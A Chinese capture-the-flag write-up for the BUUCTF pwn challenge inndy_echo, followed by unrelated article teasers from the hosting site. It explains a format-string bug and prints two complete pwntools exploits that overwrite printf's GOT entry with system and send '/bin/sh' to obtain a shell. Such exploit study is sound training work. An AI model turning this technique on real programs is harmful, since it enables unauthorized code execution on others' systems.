[BUUCTF]-PWN:inndy_echo解析

查看保护

查看ida

有格式化字符串漏洞,可以修改printf的got表内地址为system,传参getshell

解法一:

在32位中可以使用fmtstr_payload直接修改,免去很多麻烦

完整exp:

from pwn import*
p=process('./echo')
p=remote('node5.buuoj.cn',25852)
system_plt=0x8048400
printf_got=0x804A010
print(hex(system_plt))payload=fmtstr_payload(7,{printf_got:system_plt})
p.sendline(payload)
payload=b'/bin/sh\x00'
p.sendline(payload)
p.interactive()

这个没啥好讲的,只是这个函数64位几乎用不了。

解法二:

完整exp:

from pwn import*
p=process('./echo')
system_plt=0x8048400
printf_got=0x804A010payload=b'%17$hhn'+b'%4c%18$hhn'+b'%4c%19$hhn'+b'%124c%20$hhn'
print(len(payload))
payload=payload.ljust(0x28,b'\x00')
payload+=p32(printf_got)+p32(printf_got+2)+p32(printf_got+3)+p32(printf_got+1)
print(len(payload))
p.sendline(payload)
p.interactive()

在这个方法中没有使用fmtstr_payload函数,虽然麻烦一点,但必须掌握。

先回顾一下知识点

在32位中,libc函数的真实地址共有32位(8位一个字节),其中前8位对于所有libc函数来说都是相同的,后24位不同。

在64位中,libc函数的真实地址共有64位(包括\x00截断),其中前24位所有相同,后24位不同,这里不包含\x00截断。

以上情况包含了libc基地址+偏移过大的情况,在基地址较小的情况下甚至可以达到32位中前12位相同,64位中前28位相同。当然即使是在libc基地址+偏移过大的情况下,也会有部分函数32位中前12位相同,64位中前28位相同。

啥是libc基地址+偏移过大的情况?

部分函数的偏移过大,会影响下一个4位。

所以严谨地来说

在32位中,libc函数的真实地址共有32位(8位一个字节),其中前8位(1字节)对于所有libc函数来说都是相同的,后24位(3字节)不同。

在64位中,libc函数的真实地址共有64位(包括\x00截断),其中前24位(3字节)所有相同,后24位(3字节)不同,这里不包含\x00截断。

回到题目,我们这里是把整个libc函数的真实地址修改为system的plt,所以不用管前多少位相同,统统改完就行,毕竟libc函数的真实地址跟system的plt一样只有4个字节,也就是32位。在这里提知识点只是防止知识点跟这道题搞混而已。

补充点:后面的printf_got记得要按小到大来覆盖。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/455179.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

私有化部署一个吃豆人小游戏

目录 效果 安装步骤 1.安装并启动httpd 2.下载代码 3.启动httpd 使用 效果 安装步骤 1.安装并启动httpd yum -y install httpd 2.下载代码 进入目录 cd /var/www/html/ 下载 git clone https://gitee.com/WangZhe168_admin/pacman-canvas.git 3.启动httpd syste…

Postman发送带登录信息的请求

环境:win10Postman10.17.7 假设有个请求是这样的: RequiresPermissions("tool:add") PostMapping(value"/predict") ResponseBody /** * xxx * param seqOrderJson json格式的参数 * return */ public String predictSampleIds(Req…

第1节、电路连接【51单片机+L298N步进电机系列】

↑↑↑点击上方【目录】,查看本系列全部文章 摘要:本节介绍如何搭建一个51单片机L298N步进电机控制电路,所用材料均为常见的模块,简单高效的方式搭建起硬件环境。 一、硬件清单 ①51单片机模块 ②恒流模块 ③开关电源 ④L298N模…

Springboot启动出现Waiting for changelog lock...问题

今天在开发的时候,Springboot启动的时候出现Waiting for changelog lock…问题. 问题原因:该问题就是发生了数据库的死锁问题,可能是由于一个杀死的liquibase进程没有释放它对DATABASECHANGELOGLOCK表的锁定,导致服务启动失败&…

软考21-上午题-数组、矩阵

数组:一组地址连续的空间。 数组是定长线性表在维数上的扩展,即,线性表中的元素又是一个线性表。 一、数组 数组的特点: 数组数目固定,一旦定义了数组结构,不再有元素个数的增减变化。因此,数…

Golang与Erlang有什么差异

Golang和Erlang是两种备受关注的编程语言,它们各自具有独特的特点和优势。下面我将简单的探讨一下Golang和Erlang之间的差异,并且分析它们在并发模型、运行环境、函数式编程和领域特性等多个方面的不同之处。 并发模型 Golang使用goroutines和channels…

【LeetCode】刷题总结 - 15. 三数之和

15. 三数之和 | LeetCode 思路 首先对 nums 进行排序,然后设置三个指针:left、mid、right: left 从最左边开始,依次向后遍历每次固定住 left 后,就化为一个 2sum 问题: mid left 1,right …

Leetcode第383场周赛

Leetcode第383场周赛 本人水平有限,只做前3道。 一、边界上的蚂蚁 边界上有一只蚂蚁,它有时向 左 走,有时向 右 走。 给你一个 非零 整数数组 nums 。蚂蚁会按顺序读取 nums 中的元素,从第一个元素开始直到结束。每一步&#…

Unity类银河恶魔城学习记录1-14 AttackDirection源代码 P41

Alex教程每一P的教程原代码加上我自己的理解初步理解写的注释,可供学习Alex教程的人参考 此代码仅为较上一P有所改变的代码 【Unity教程】从0编程制作类银河恶魔城游戏_哔哩哔哩_bilibili PlayerPrimaryAttackState.cs using System.Collections; using System.Co…

新增同步管理、操作日志模块,支持公共链接分享,DataEase开源数据可视化分析平台v2.3.0发布

2024年2月5日,DataEase开源数据可视化分析平台正式发布v2.3.0版本。 这一版本的功能升级包括:新增“同步管理”功能模块,用户可通过此模块,将传统数据库中的数据定时同步到Apache Doris中,让数据分析更快速&#xff1…

跟着cherno手搓游戏引擎【21】shaderLibrary(shader管理类)

前置&#xff1a; ytpch.h&#xff1a; #pragma once #include<iostream> #include<memory> #include<utility> #include<algorithm> #include<functional> #include<string> #include<vector> #include<unordered_map> #in…

#Z2322. 买保险

一.题目 二.思路 1.暴力 训练的时候&#xff0c;初看这道题&#xff0c;这不就打个暴力吗&#xff1f; 2.暴力代码 #include<bits/stdc.h> #define int long long using namespace std; int n,m,fa,x,y,vis[1000001],ans; vector<int> vec[1000001]; void dfs(i…